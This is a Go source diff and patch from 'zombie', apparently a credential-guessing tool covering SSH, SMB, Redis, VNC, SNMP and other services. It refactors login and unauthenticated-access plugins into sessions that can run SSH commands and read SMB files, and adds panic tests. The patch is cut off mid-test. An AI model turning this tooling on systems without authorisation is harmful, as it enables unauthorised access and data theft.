-4,67 +4,48 @@ import ( "net" "github.com/chainreactors/zombie/pkg" + "github.com/chainreactors/zombie/plugin/internal/kvsess" "github.com/go-redis/redis" ) -type RedisPlugin struct { - *pkg.Task - conn *redis.Client - Additional string - Input string +// RedisPlugin is a stateless factory that satisfies the Plugin interface. +type RedisPlugin struct{} + +func (RedisPlugin) Name() string { return "redis" } + +// Open authenticates with the password from task and returns a KVSession. +func (RedisPlugin) Open(task *pkg.Task) (pkg.Session, error) { + return dial(task, task.Password) } -// options 构建 redis 连接参数,并在配置了代理时注入自定义 Dialer。 -func (s *RedisPlugin) options(password string) *redis.Options { +// Unauth attempts an unauthenticated connection (empty password). +func (RedisPlugin) Unauth(task *pkg.Task) (pkg.Session, error) { + return dial(task, "") +} + +// dial builds redis.Options (with optional proxy Dialer), connects, pings, +// and wraps the client in a kvsess.RedisSession. +func dial(task *pkg.Task, password string) (pkg.Session, error) { opt := &redis.Options{ - Addr: s.Address(), + Addr: task.Address(), Password: password, DB: 0, - DialTimeout: s.Duration(), + DialTimeout: task.Duration(), } - if s.ProxyDial != nil { + if task.ProxyDial != nil { opt.Dialer = func() (net.Conn, error) { - return s.DialTimeout("tcp", s.Address(), s.Duration()) + return task.DialTimeout("tcp", task.Address(), task.Duration()) } } - return opt -} -func (s *RedisPlugin) Login() error { - client := redis.NewClient(s.options(s.Password)) - _, err := client.Ping().Result() - if err != nil { - return err + client := redis.NewClient(opt) + if _, err := client.Ping().Result(); err != nil { + _ = client.Close() + return nil, err } - s.conn = client - return nil - -} - -func (s *RedisPlugin) Unauth() (bool, error) { - client := redis.NewClient(s.options("")) - _, err := client.Ping().Result() - if err != nil { - return false, err - } - - s.conn = client - return true, nil -} - -func (s *RedisPlugin) Name() string { - return s.Service -} - -func (s *RedisPlugin) GetResult() *pkg.Result { - // todo list dbs - return &pkg.Result{Task: s.Task, OK: true} -} - -func (s *RedisPlugin) Close() error { - if s.conn != nil { - return s.conn.Close() - } - return nil + return &kvsess.RedisSession{ + Client: client, + SvcName: "redis", + }, nil } diff --git a/plugin/registry.go b/plugin/registry.go new file mode 100644 index 0000000..0288bb6 --- /dev/null +++ b/plugin/registry.go @@ -0,0 +1,75 @@ +package plugin + +import ( + "github.com/chainreactors/zombie/plugin/ftp" + "github.com/chainreactors/zombie/plugin/http" + "github.com/chainreactors/zombie/plugin/ldap" + "github.com/chainreactors/zombie/plugin/memcache" + "github.com/chainreactors/zombie/plugin/mongo" + "github.com/chainreactors/zombie/plugin/mq" + "github.com/chainreactors/zombie/plugin/mssql" + "github.com/chainreactors/zombie/plugin/mysql" + "github.com/chainreactors/zombie/plugin/neutron" + "github.com/chainreactors/zombie/plugin/oracle" + "github.com/chainreactors/zombie/plugin/pop3" + "github.com/chainreactors/zombie/plugin/postgre" + "github.com/chainreactors/zombie/plugin/rdp" + "github.com/chainreactors/zombie/plugin/redis" + "github.com/chainreactors/zombie/plugin/rsync" + "github.com/chainreactors/zombie/plugin/smb" + "github.com/chainreactors/zombie/plugin/snmp" + "github.com/chainreactors/zombie/plugin/socks5" + "github.com/chainreactors/zombie/plugin/ssh" + "github.com/chainreactors/zombie/plugin/vnc" + "github.com/chainreactors/zombie/plugin/zookeeper" + "github.com/chainreactors/zombie/pkg" +) + +var registry = map[string]Plugin{} + +func Register(name string, p Plugin) { + registry[name] = p +} + +func Get(service string) (Plugin, bool) { + p, ok := registry[service] + return p, ok +} + +func DefaultRegistry() map[string]Plugin { + m := make(map[string]Plugin, len(registry)) + for k, v := range registry { + m[k] = v + } + return m +} + +func init() { + Register(pkg.SSHService.Name, &ssh.SshPlugin{}) + Register(pkg.MYSQLService.Name, &mysql.MysqlPlugin{}) + Register(pkg.POSTGRESQLService.Name, &postgre.PostgresPlugin{}) + Register(pkg.MSSQLService.Name, &mssql.MssqlPlugin{}) + Register(pkg.ORACLEService.Name, &oracle.OraclePlugin{}) + Register(pkg.REDISService.Name, &redis.RedisPlugin{}) + Register(pkg.MONGOService.Name, &mongo.MongoPlugin{}) + Register(pkg.SMBService.Name, &smb.SmbPlugin{}) + Register(pkg.FTPService.Name, &ftp.FtpPlugin{}) + Register(pkg.LDAPService.Name, &ldap.LdapPlugin{}) + Register(pkg.VNCService.Name, &vnc.VNCPlugin{}) + Register(pkg.RDPService.Name, &rdp.RdpPlugin{}) + Register(pkg.SNMPService.Name, &snmp.SnmpPlugin{}) + Register(pkg.POP3Service.Name, &pop3.Pop3Plugin{}) + Register(pkg.ZookeeperService.Name, &zookeeper.ZookeeperPlugin{}) + Register(pkg.MemcachedService.Name, &memcache.MemcachePlugin{}) + Register(pkg.AmqpService.Name, &mq.AMQPPlugin{}) + Register(pkg.MqttService.Name, &mq.MQTTPlugin{}) + Register(pkg.RSYNCService.Name, &rsync.RsyncPlugin{}) + Register(pkg.SOCKS5Service.Name, &socks5.Socks5Plugin{}) + Register(pkg.HTTPService.Name, &http.HttpAuthPlugin{}) + Register(pkg.HTTPSService.Name, &http.HttpAuthPlugin{}) + Register(pkg.HTTPProxyService.Name, &http.HTTPProxyPlugin{}) + Register(pkg.HTTPDigestService.Name, &http.HTTPDigestPlugin{}) + Register(pkg.GETService.Name, http.NewHTTPPlugin("GET")) + Register(pkg.PostService.Name, http.NewHTTPPlugin("POST")) + Register("neutron", &neutron.NeutronPlugin{}) +} diff --git a/plugin/rsync/rsync.go b/plugin/rsync/rsync.go index 39e5f00..84463fc 100644 --- a/plugin/rsync/rsync.go +++ b/plugin/rsync/rsync.go @@ -4,53 +4,43 @@ import ( "github.com/chainreactors/zombie/pkg" ) -type RsyncPlugin struct { - *pkg.Task +// rsyncSession implements pkg.Session. Rsync uses short-lived socket +// connections per operation, so there is no persistent conn to wrap. +type rsyncSession struct { + service string } -func (s *RsyncPlugin) Unauth() (bool, error) { - ver, modules, err := RsyncDetect(s.Address(), s.Timeout, s.DialTimeout) - if err != nil { - return false, err - } - err = RsyncUnauth(s.Address(), ver, modules, s.Timeout, s.DialTimeout) - if err != nil { - return false, err - } - return true, nil -} +func (s *rsyncSession) Service() string { return s.service } +func (s *rsyncSession) Close() error { return nil } +func (s *rsyncSession) Raw() interface{} { return nil } + +// RsyncPlugin is stateless; all connection state lives in rsyncSession. +type RsyncPlugin struct{} -//func (s *RsyncPlugin) Query() bool { -// return false -//} -// -//func (s *RsyncPlugin) GetInfo() bool { -// return false -//} +func (p *RsyncPlugin) Name() string { return "rsync" } -func (s *RsyncPlugin) Login() error { - ver, modules, err := RsyncDetect(s.Address(), s.Timeout, s.DialTimeout) +func (p *RsyncPlugin) Open(task *pkg.Task) (pkg.Session, error) { + ver, modules, err := RsyncDetect(task.Address(), task.Timeout, task.DialTimeout) if err != nil { - return err + return nil, err } - err = RsyncLogin(s.Address(), s.Username, s.Password, ver, modules, s.Timeout, s.DialTimeout) + err = RsyncLogin(task.Address(), task.Username, task.Password, ver, modules, task.Timeout, task.DialTimeout) if err != nil { - return err + return nil, err } - return nil -} - -func (s *RsyncPlugin) Name() string { - return s.Service -} - -func (s *RsyncPlugin) GetResult() *pkg.Result { - // todo list dbs - return &pkg.Result{Task: s.Task, OK: true} + return &rsyncSession{service: task.Service}, nil } -func (s *RsyncPlugin) Close() error { - return nil +func (p *RsyncPlugin) Unauth(task *pkg.Task) (pkg.Session, error) { + ver, modules, err := RsyncDetect(task.Address(), task.Timeout, task.DialTimeout) + if err != nil { + return nil, err + } + err = RsyncUnauth(task.Address(), ver, modules, task.Timeout, task.DialTimeout) + if err != nil { + return nil, err + } + return &rsyncSession{service: task.Service}, nil } diff --git a/plugin/smb/smb.go b/plugin/smb/smb.go index 803b5f8..6fb5885 100644 --- a/plugin/smb/smb.go +++ b/plugin/smb/smb.go @@ -1,61 +1,122 @@ package smb import ( + "fmt" + "io" + "strings" + "time" + "github.com/chainreactors/utils/encode" "github.com/chainreactors/zombie/pkg" "github.com/hirochachacha/go-smb2" - "strings" - "time" ) -type SmbPlugin struct { - *pkg.Task +// smbSession implements pkg.FileSession over an authenticated SMB2 session. +type smbSession struct { + service string conn *smb2.Session - Version string - Input string } -func (s *SmbPlugin) Unauth() (bool, error) { - user, domain := pkg.SplitUserDomain(s.Username) +func (s *smbSession) Service() string { return s.service } +func (s *smbSession) Raw() interface{} { return s.conn } - dialer := &smb2.Dialer{} - dialer.Initiator = &smb2.NTLMInitiator{ - User: user, - Domain: domain, - Password: "", +func (s *smbSession) Close() error { + if s.conn != nil { + return s.conn.Logoff() + } + return nil +} + +// parseSharePath splits a path like "SHARE/dir/file.txt" into share name and +// the remainder. If no separator is found, the whole string is the share name +// and the relative path is empty. +func parseSharePath(path string) (share, rel string) { + path = strings.TrimPrefix(path, "/") + path = strings.TrimPrefix(path, "\\") + idx := strings.IndexAny(path, "/\\") + if idx < 0 { + return path, "" } + return path[:idx], path[idx+1:] +} - c, err := s.DialTimeout("tcp", s.Address(), time.Duration(s.Timeout)*time.Second) +func (s *smbSession) List(path string) ([]string, error) { + share, rel := parseSharePath(path) + if share == "" { + // No share specified: list available shares. + names, err := s.conn.ListSharenames() + if err != nil { + return nil, err + } + return names, nil + } + mount, err := s.conn.Mount(share) if err != nil { - return false, err + return nil, fmt.Errorf("mount %q: %w", share, err) } + defer mount.Umount() - conn, err := dialer.Dial(c) + if rel == "" { + rel = "." + } + entries, err := mount.ReadDir(rel) if err != nil { - return false, err + return nil, err + } + names := make([]string, len(entries)) + for i, e := range entries { + names[i] = e.Name() + } + return names, nil +} + +func (s *smbSession) Read(path string) ([]byte, error) { + share, rel := parseSharePath(path) + if share == "" || rel == "" { + return nil, fmt.Errorf("path must include share and file: %q", path) } - // todo anon - _, err = conn.ListSharenames() + mount, err := s.conn.Mount(share) if err != nil { - return false, err + return nil, fmt.Errorf("mount %q: %w", share, err) } - s.conn = conn + defer mount.Umount() - return true, nil + f, err := mount.Open(rel) + if err != nil { + return nil, err + } + defer f.Close() + return io.ReadAll(f) } -func (s *SmbPlugin) Login() error { - var user, domain string +// SmbPlugin is stateless; all connection state lives in smbSession. +type SmbPlugin struct{} - if strings.Contains(s.Username, "/") { - user = strings.Split(s.Username, "/")[1] - domain = strings.Split(s.Username, "/")[0] - } else { - user = s.Username +func (p *SmbPlugin) Name() string { return "smb" } + +// dial establishes a raw TCP connection and performs the SMB2 handshake. +func (p *SmbPlugin) dial(task *pkg.Task, dialer *smb2.Dialer) (*smb2.Session, error) { + c, err := task.DialTimeout("tcp", task.Address(), time.Duration(task.Timeout)*time.Second) + if err != nil { + return nil, err + } + conn, err := dialer.Dial(c) + if err != nil { + return nil, err } + // Validate the session by listing shares. + if _, err := conn.ListSharenames(); err != nil { + conn.Logoff() + return nil, err + } + return conn, nil +} + +func (p *SmbPlugin) Open(task *pkg.Task) (pkg.Session, error) { + user, domain := pkg.SplitUserDomain(task.Username) dialer := &smb2.Dialer{} - method, pwd := pkg.ParseMethod(s.Password) + method, pwd := pkg.ParseMethod(task.Password) if method == "hash" { dialer.Initiator = &smb2.NTLMInitiator{ User: user, @@ -66,40 +127,31 @@ func (s *SmbPlugin) Login() error { dialer.Initiator = &smb2.NTLMInitiator{ User: user, Domain: domain, - Password: s.Password, + Password: task.Password, } } - c, err := s.DialTimeout("tcp", s.Address(), time.Duration(s.Timeout)*time.Second) - if err != nil { - return err - } - - conn, err := dialer.Dial(c) - if err != nil { - return err - } - // todo anon - _, err = conn.ListSharenames() + conn, err := p.dial(task, dialer) if err != nil { - return err + return nil, err } - s.conn = conn - return nil + return &smbSession{service: task.Service, conn: conn}, nil } -func (s *SmbPlugin) Close() error { - if s.conn != nil { - return s.conn.Logoff() - } - return nil -} +func (p *SmbPlugin) Unauth(task *pkg.Task) (pkg.Session, error) { + user, domain := pkg.SplitUserDomain(task.Username) -func (s *SmbPlugin) Name() string { - return s.Service -} + dialer := &smb2.Dialer{ + Initiator: &smb2.NTLMInitiator{ + User: user, + Domain: domain, + Password: "", + }, + } -func (s *SmbPlugin) GetResult() *pkg.Result { - // todo list dbs - return &pkg.Result{Task: s.Task, OK: true} + conn, err := p.dial(task, dialer) + if err != nil { + return nil, err + } + return &smbSession{service: task.Service, conn: conn}, nil } diff --git a/plugin/snmp/snmp.go b/plugin/snmp/snmp.go index 87a5120..ec2eeed 100644 --- a/plugin/snmp/snmp.go +++ b/plugin/snmp/snmp.go @@ -6,140 +6,49 @@ import ( "time" ) -type SnmpPlugin struct { - *pkg.Task - Input string - conn *gosnmp.GoSNMP +// snmpSession implements pkg.Session over an SNMP connection. +type snmpSession struct { + service string + conn *gosnmp.GoSNMP } -func (s *SnmpPlugin) Unauth() (bool, error) { - conn := &gosnmp.GoSNMP{ - Target: s.IP, - Port: s.UintPort(), - Community: "", - Version: gosnmp.Version2c, - Timeout: time.Duration(s.Timeout) * time.Second, - MaxOids: gosnmp.MaxOids, - Retries: 3, - ExponentialTimeout: true, - } - err := conn.Connect() - if err != nil { - return false, err +func (s *snmpSession) Service() string { return s.service } +func (s *snmpSession) Raw() interface{} { return s.conn } + +func (s *snmpSession) Close() error { + if s.conn != nil { + return s.conn.Conn.Close() } - s.conn = conn - return true, nil + return nil } -//type CiderRoute struct { -// Cidr []string -// GateWay []string -//} -// -//type IPSubRoute struct { -// Cidr []string -// IP []string -//} -// -//type SwitchInfo struct { -// SystemInfo string `json:"SystemInfo"` -// Time int64 `json:"Time"` -// Concat string `json:"Concat"` -// MachineName string `json:"MachineName"` -// Location string `json:"Location"` -// MemorySize int64 `json:"MemorySize"` -// SsCpuUser int64 `json:"SsCpuUser"` -// SsCpuSystem int64 `json:"SsCpuSystem"` -// SsCpuIdle int64 `json:"SsCpuIdle"` -// InterfaceSlice []string `json:"InterfaceSlice"` -//} +// SnmpPlugin is stateless; all connection state lives in snmpSession. +type SnmpPlugin struct{} -//func (s *SnmpPlugin) Query() bool { -// defer s.conn.Conn.Close() -// -// if strings.HasPrefix(s.Input, "Walk") { -// input := strings.Replace(s.Input, "Walk", "", 1) -// GetRes, err := s.conn.BulkWalkAll(input) -// if err != nil { -// return false -// } -// for _, alive := range GetRes { -// fmt.Println(alive.Name) -// if alive.Value != nil { -// switch alive.Type { -// case gosnmp.OctetString: -// bytes := alive.Value.([]byte) -// svalue := string(bytes) -// fmt.Println(svalue) -// -// default: -// svalue := gosnmp.ToBigInt(alive.Value) -// s2int := svalue.Int64() -// fmt.Println(s2int) -// -// } -// } -// } -// -// } else { -// GetRes, err := s.conn.Get([]string{s.Input}) -// if err != nil { -// return false -// } -// variable := GetRes.Variables[0] -// if variable.Value != nil { -// switch variable.Type { -// case gosnmp.OctetString: -// bytes := variable.Value.([]byte) -// svalue := string(bytes) -// fmt.Println(svalue) -// -// default: -// svalue := gosnmp.ToBigInt(variable.Value) -// s2int := svalue.Int64() -// fmt.Println(s2int) -// -// } -// } -// } -// -// return true -//} +func (p *SnmpPlugin) Name() string { return "snmp" } -func (s *SnmpPlugin) SetQuery(query string) { - s.Input = query +func (p *SnmpPlugin) Open(task *pkg.Task) (pkg.Session, error) { + return dial(task, task.Password) } -func (s *SnmpPlugin) Login() error { +func (p *SnmpPlugin) Unauth(task *pkg.Task) (pkg.Session, error) { + return dial(task, "") +} + +func dial(task *pkg.Task, community string) (pkg.Session, error) { conn := &gosnmp.GoSNMP{ - Target: s.IP, - Port: s.UintPort(), - Community: s.Password, + Target: task.IP, + Port: task.UintPort(), + Community: community, Version: gosnmp.Version2c, - Timeout: time.Duration(s.Timeout) * time.Second, + Timeout: time.Duration(task.Timeout) * time.Second, MaxOids: gosnmp.MaxOids, Retries: 3, ExponentialTimeout: true, } err := conn.Connect() if err != nil { - return err - } - s.conn = conn - return nil -} - -func (s *SnmpPlugin) Name() string { - return s.Service -} - -func (s *SnmpPlugin) GetResult() *pkg.Result { - return &pkg.Result{Task: s.Task, OK: true} -} - -func (s *SnmpPlugin) Close() error { - if s.conn != nil { - return s.conn.Conn.Close() + return nil, err } - return nil + return &snmpSession{service: task.Service, conn: conn}, nil } diff --git a/plugin/socks5/socks5.go b/plugin/socks5/socks5.go index 114a9eb..94e6443 100644 --- a/plugin/socks5/socks5.go +++ b/plugin/socks5/socks5.go @@ -8,72 +8,57 @@ import ( "net/url" ) -type Socks5Plugin struct { - *pkg.Task - Url string `json:"url"` +// socks5Session implements pkg.Session over a SOCKS5 proxy dialer. +type socks5Session struct { + service string + dialer proxy.Dialer } -func (s *Socks5Plugin) Unauth() (bool, error) { - proxyURL, _ := url.Parse(fmt.Sprintf("socks5://%s:%s", s.IP, s.Port)) - dialer, err := proxy.FromURL(proxyURL, proxy.Direct) - if err != nil { - return false, err - } - client := &http.Client{ - Transport: &http.Transport{ - Dial: dialer.Dial, - }, - } +func (s *socks5Session) Service() string { return s.service } +func (s *socks5Session) Raw() interface{} { return s.dialer } +func (s *socks5Session) Close() error { return nil } - if s.Url == "" { - s.Url = "http://baidu.com" - } - req, err := http.NewRequest("GET", s.Url, nil) - _, err = client.Do(req) +// Socks5Plugin is stateless; all connection state lives in socks5Session. +type Socks5Plugin struct{} + +func (p *Socks5Plugin) Name() string { return "socks5" } + +func (p *Socks5Plugin) Open(task *pkg.Task) (pkg.Session, error) { + proxyURL, err := url.Parse(fmt.Sprintf("socks5://%s:%s@%s:%s", task.Username, task.Password, task.IP, task.Port)) if err != nil { - return false, err + return nil, err } - return true, nil + return dialAndTest(task, proxyURL) } -func (s *Socks5Plugin) Login() error { - proxyURL, err := url.Parse(fmt.Sprintf("socks5://%s:%s@%s:%s", s.Username, s.Password, s.IP, s.Port)) - if err != nil { - return err - } +func (p *Socks5Plugin) Unauth(task *pkg.Task) (pkg.Session, error) { + proxyURL, _ := url.Parse(fmt.Sprintf("socks5://%s:%s", task.IP, task.Port)) + return dialAndTest(task, proxyURL) +} + +func dialAndTest(task *pkg.Task, proxyURL *url.URL) (pkg.Session, error) { dialer, err := proxy.FromURL(proxyURL, proxy.Direct) if err != nil { - return err + return nil, err } - client := &http.Client{ Transport: &http.Transport{ Dial: dialer.Dial, }, } - if s.Url == "" { - s.Url = "http://baidu.com" + testURL := task.Param["url"] + if testURL == "" { + testURL = "http://baidu.com" + } + req, err := http.NewRequest("GET", testURL, nil) + if err != nil { + return nil, err } - req, err := http.NewRequest("GET", s.Url, nil) _, err = client.Do(req) if err != nil { - return err + return nil, err } - return nil - -} - -func (s *Socks5Plugin) Close() error { - return nil -} - -func (s *Socks5Plugin) Name() string { - return s.Service -} - -func (s *Socks5Plugin) GetResult() *pkg.Result { - // todo list dbs - return &pkg.Result{Task: s.Task, OK: true} + return &socks5Session{service: task.Service, dialer: dialer}, nil } diff --git a/plugin/ssh/ssh.go b/plugin/ssh/ssh.go index 55b085e..e51a347 100644 --- a/plugin/ssh/ssh.go +++ b/plugin/ssh/ssh.go @@ -11,55 +11,63 @@ import ( "golang.org/x/crypto/ssh" ) -type SshPlugin struct { - *pkg.Task - conn *ssh.Client +// sshSession implements pkg.ShellSession over an authenticated SSH connection. +type sshSession struct { + service string + conn *ssh.Client } -func (s *SshPlugin) Login() error { +func (s *sshSession) Service() string { return s.service } +func (s *sshSession) Raw() interface{} { return s.conn } + +func (s *sshSession) Close() error { + if s.conn != nil { + return s.conn.Close() + } + return nil +} + +func (s *sshSession) Exec(cmd string) ([]byte, error) { + sess, err := s.conn.NewSession() + if err != nil { + return nil, fmt.Errorf("ssh session: %w", err) + } + defer sess.Close() + return sess.CombinedOutput(cmd) +} + +// SshPlugin is stateless; all connection state lives in sshSession. +type SshPlugin struct{} + +func (p *SshPlugin) Name() string { return "ssh" } + +func (p *SshPlugin) Open(task *pkg.Task) (pkg.Session, error) { var auth []ssh.AuthMethod - if method, pkdata := pkg.ParseMethod(s.Password); method == "pk" && pkdata != "" { + if method, pkdata := pkg.ParseMethod(task.Password); method == "pk" && pkdata != "" { am, err := publicKeyAuth(pkdata) if err != nil { - return err + return nil, err } auth = []ssh.AuthMethod{am} } else { auth = []ssh.AuthMethod{ - ssh.Password(s.Password), + ssh.Password(task.Password), } } - conn, err := SSHConnect(s.Task, auth) + conn, err := SSHConnect(task, auth) if err != nil { - return err + return nil, err } - s.conn = conn - return nil + return &sshSession{service: task.Service, conn: conn}, nil } -func (s *SshPlugin) Unauth() (bool, error) { - conn, err := SSHConnect(s.Task, []ssh.AuthMethod{ssh.Password("")}) +func (p *SshPlugin) Unauth(task *pkg.Task) (pkg.Session, error) { + conn, err := SSHConnect(task, []ssh.AuthMethod{ssh.Password("")}) if err != nil { - return false, err - } - s.conn = conn - return true, nil -} - -func (s *SshPlugin) Close() error { - if s.conn != nil { - return s.conn.Close() + return nil, err } - return nil -} - -func (s *SshPlugin) GetResult() *pkg.Result { - return &pkg.Result{Task: s.Task, OK: true} -} - -func (s *SshPlugin) Name() string { - return s.Service + return &sshSession{service: task.Service, conn: conn}, nil } func SSHConnect(task *pkg.Task, auth []ssh.AuthMethod) (conn *ssh.Client, err error) { diff --git a/plugin/vnc/vnc.go b/plugin/vnc/vnc.go index c313a74..d7ae44b 100644 --- a/plugin/vnc/vnc.go +++ b/plugin/vnc/vnc.go @@ -6,74 +6,49 @@ import ( "time" ) -type VNCPlugin struct { - *pkg.Task - conn *vnc.ClientConn - Input string +// vncSession implements pkg.Session over an authenticated VNC connection. +type vncSession struct { + service string + conn *vnc.ClientConn } -func (s *VNCPlugin) Unauth() (bool, error) { - target := s.Address() +func (s *vncSession) Service() string { return s.service } +func (s *vncSession) Raw() interface{} { return s.conn } - tcpconn, err := s.DialTimeout("tcp", target, time.Duration(s.Timeout)*time.Second) - if err != nil { - return false, err +func (s *vncSession) Close() error { + if s.conn != nil { + return s.conn.Close() } + return nil +} - config := vnc.ClientConfig{ - Auth: []vnc.ClientAuth{ - &vnc.PasswordAuth{Password: ""}, - }, - } - conn, err := vnc.Client(tcpconn, &config) - if err != nil { - return false, err - } - s.conn = conn - return true, nil +// VNCPlugin is stateless; all connection state lives in vncSession. +type VNCPlugin struct{} + +func (p *VNCPlugin) Name() string { return "vnc" } + +func (p *VNCPlugin) Open(task *pkg.Task) (pkg.Session, error) { + return dial(task, task.Password) } -func (s *VNCPlugin) Login() error { - target := s.Address() +func (p *VNCPlugin) Unauth(task *pkg.Task) (pkg.Session, error) { + return dial(task, "") +} - tcpconn, err := s.DialTimeout("tcp", target, time.Duration(s.Timeout)*time.Second) +func dial(task *pkg.Task, password string) (pkg.Session, error) { + tcpconn, err := task.DialTimeout("tcp", task.Address(), time.Duration(task.Timeout)*time.Second) if err != nil { - return err + return nil, err } config := vnc.ClientConfig{ Auth: []vnc.ClientAuth{ - &vnc.PasswordAuth{Password: s.Password}, + &vnc.PasswordAuth{Password: password}, }, } conn, err := vnc.Client(tcpconn, &config) if err != nil { - return err - } - s.conn = conn - return nil -} - -func (s *VNCPlugin) Close() error { - if s.conn != nil { - return s.conn.Close() + return nil, err } - return nil -} - -//func (s *VNCPlugin) SetQuery(query string) { -// s.Input = query -//} -// -//func (s *VNCPlugin) Output(res interface{}) { -// -//} - -func (s *VNCPlugin) Name() string { - return s.Service -} - -func (s *VNCPlugin) GetResult() *pkg.Result { - // todo list dbs - return &pkg.Result{Task: s.Task, OK: true} + return &vncSession{service: task.Service, conn: conn}, nil } diff --git a/plugin/zookeeper/zookeeper.go b/plugin/zookeeper/zookeeper.go index 14ac0bb..6072d17 100644 --- a/plugin/zookeeper/zookeeper.go +++ b/plugin/zookeeper/zookeeper.go @@ -7,44 +7,44 @@ import ( "time" ) -type ZookeeperPlugin struct { - *pkg.Task - conn *zk.Conn +// zkSession implements pkg.Session over a ZooKeeper connection. +type zkSession struct { + service string + conn *zk.Conn } -func (s *ZookeeperPlugin) Name() string { - return s.Service -} +func (s *zkSession) Service() string { return s.service } +func (s *zkSession) Raw() interface{} { return s.conn } -func (s *ZookeeperPlugin) Unauth() (bool, error) { - conn, _, err := zk.Connect([]string{fmt.Sprintf("%s:%s", s.IP, s.Port)}, time.Duration(s.Timeout)*time.Second) - if err != nil { - return false, err +func (s *zkSession) Close() error { + if s.conn != nil { + s.conn.Close() } - s.conn = conn - return true, nil + return nil } -func (s *ZookeeperPlugin) Login() error { - conn, _, err := zk.Connect([]string{fmt.Sprintf("%s:%s", s.IP, s.Port)}, time.Duration(s.Timeout)*time.Second) +// ZookeeperPlugin is stateless; all connection state lives in zkSession. +type ZookeeperPlugin struct{} + +func (p *ZookeeperPlugin) Name() string { return "zookeeper" } + +func (p *ZookeeperPlugin) Open(task *pkg.Task) (pkg.Session, error) { + conn, _, err := zk.Connect([]string{fmt.Sprintf("%s:%s", task.IP, task.Port)}, time.Duration(task.Timeout)*time.Second) if err != nil { - return err + return nil, err } - err = conn.AddAuth("digest", []byte(fmt.Sprintf("%s:%s", s.Username, s.Password))) + err = conn.AddAuth("digest", []byte(fmt.Sprintf("%s:%s", task.Username, task.Password))) if err != nil { - return err + conn.Close() + return nil, err } - s.conn = conn - return nil -} - -func (s *ZookeeperPlugin) GetResult() *pkg.Result { - return &pkg.Result{Task: s.Task, OK: true} + return &zkSession{service: task.Service, conn: conn}, nil } -func (s *ZookeeperPlugin) Close() error { - if s.conn != nil { - s.conn.Close() +func (p *ZookeeperPlugin) Unauth(task *pkg.Task) (pkg.Session, error) { + conn, _, err := zk.Connect([]string{fmt.Sprintf("%s:%s", task.IP, task.Port)}, time.Duration(task.Timeout)*time.Second) + if err != nil { + return nil, err } - return nil + return &zkSession{service: task.Service, conn: conn}, nil } From 28045be27a3dbf050219efce349fdd1c2376d19a Mon Sep 17 00:00:00 2001 From: M09Ic Date: Thu, 11 Jun 2026 20:39:28 -0700 Subject: [PATCH 02/18] fix: add nil session guard and nil Err guard to prevent panics - Execute(): check for nil session before defer Close() - OutputHandler: guard result.Err.Error() against nil Err - Add 8 panic-specific tests covering: nil session, nil Param on all 23 plugins, nil ActionResult merge, nil Err formatting Co-Authored-By: Claude Opus 4.6 (1M context) --- core/panic_test.go | 255 +++++++++++++++++++++++++++++++++++++++++++++ core/runner.go | 6 +- core/worker.go | 3 + 3 files changed, 263 insertions(+), 1 deletion(-) create mode 100644 core/panic_test.go diff --git a/core/panic_test.go b/core/panic_test.go new file mode 100644 index 0000000..12ed169 --- /dev/null +++ b/core/panic_test.go @@ -0,0 +1,255 @@ +package core + +import ( + "fmt" + "os" + "path/filepath" + "testing" + + "github.com/chainreactors/parsers" + "github.com/chainreactors/zombie/action" + "github.com/chainreactors/zombie/pkg" + "github.com/chainreactors/zombie/plugin" +) + +// nilSessionPlugin returns (nil, nil) from Open — should not panic Execute +type nilSessionPlugin struct{} + +func (p *nilSessionPlugin) Name() string { return "nil-session" } +func (p *nilSessionPlugin) Open(task *pkg.Task) (pkg.Session, error) { return nil, nil } +func (p *nilSessionPlugin) Unauth(task *pkg.Task) (pkg.Session, error) { return nil, nil } + +// panicPlugin panics inside Open — should be catchable +type panicPlugin struct{} + +func (p *panicPlugin) Name() string { return "panic" } +func (p *panicPlugin) Open(task *pkg.Task) (pkg.Session, error) { panic("test panic") } +func (p *panicPlugin) Unauth(task *pkg.Task) (pkg.Session, error) { panic("test panic") } + +func baseTask(svc string) *pkg.Task { + return &pkg.Task{ + ZombieResult: &parsers.ZombieResult{ + IP: "127.0.0.1", Port: "9999", + Service: svc, Username: "u", Password: "p", + }, + Timeout: 1, + } +} + +// --- Nil session from plugin --- + +func TestPanic_NilSession_Execute(t *testing.T) { + plugins := map[string]plugin.Plugin{"nil-session": &nilSessionPlugin{}} + task := baseTask("nil-session") + + result := Execute(task, plugins, nil) + if result.OK { + t.Error("should not be OK") + } + if result.Err == nil { + t.Error("should have error for nil session") + } + t.Logf("nil session: %v", result.Err) +} + +func TestPanic_NilSession_ExecuteUnauth(t *testing.T) { + plugins := map[string]plugin.Plugin{"nil-session": &nilSessionPlugin{}} + task := baseTask("nil-session") + + result := ExecuteUnauth(task, plugins, nil) + if result.OK { + t.Error("should not be OK") + } + if result.Err == nil { + t.Error("should have error for nil session") + } + t.Logf("nil session unauth: %v", result.Err) +} + +// --- Missing plugin --- + +func TestPanic_NoPlugin(t *testing.T) { + plugins := map[string]plugin.Plugin{} + task := baseTask("nonexistent") + + result := Execute(task, plugins, nil) + if result.OK { + t.Error("should not be OK") + } + if result.Err == nil { + t.Error("should have error") + } + t.Logf("no plugin: %v", result.Err) +} + +// --- Nil task fields --- + +func TestPanic_NilParam_PluginOpen(t *testing.T) { + runner := NewRunner(NewDefaultRunnerOption()) + + services := []string{"ssh", "mysql", "redis", "ftp", "postgresql", "mssql", "oracle", "smb", "ldap"} + for _, svc := range services { + t.Run(svc, func(t *testing.T) { + p, ok := runner.Plugins[svc] + if !ok { + t.Skipf("no plugin for %s", svc) + } + task := &pkg.Task{ + ZombieResult: &parsers.ZombieResult{ + IP: "127.0.0.1", Port: "1", + Service: svc, Username: "u", Password: "p", + Param: nil, // explicitly nil + }, + Timeout: 1, + } + defer func() { + if r := recover(); r != nil { + t.Errorf("PANIC with nil Param on %s: %v", svc, r) + } + }() + p.Open(task) + }) + } +} + +// --- HTTP plugins with nil Param --- + +func TestPanic_NilParam_HTTPPlugins(t *testing.T) { + runner := NewRunner(NewDefaultRunnerOption()) + + httpServices := []string{"http", "https", "http_proxy", "digest", "get", "post"} + for _, svc := range httpServices { + t.Run(svc, func(t *testing.T) { + p, ok := runner.Plugins[svc] + if !ok { + t.Skipf("no plugin for %s", svc) + } + task := &pkg.Task{ + ZombieResult: &parsers.ZombieResult{ + IP: "127.0.0.1", Port: "1", + Service: svc, Username: "u", Password: "p", + Param: nil, + }, + Timeout: 1, + } + defer func() { + if r := recover(); r != nil { + t.Errorf("PANIC with nil Param on %s: %v", svc, r) + } + }() + p.Open(task) + }) + } +} + +// --- Nil Extracteds in Merge --- + +func TestPanic_MergeNilActionResult(t *testing.T) { + result := &pkg.Result{ 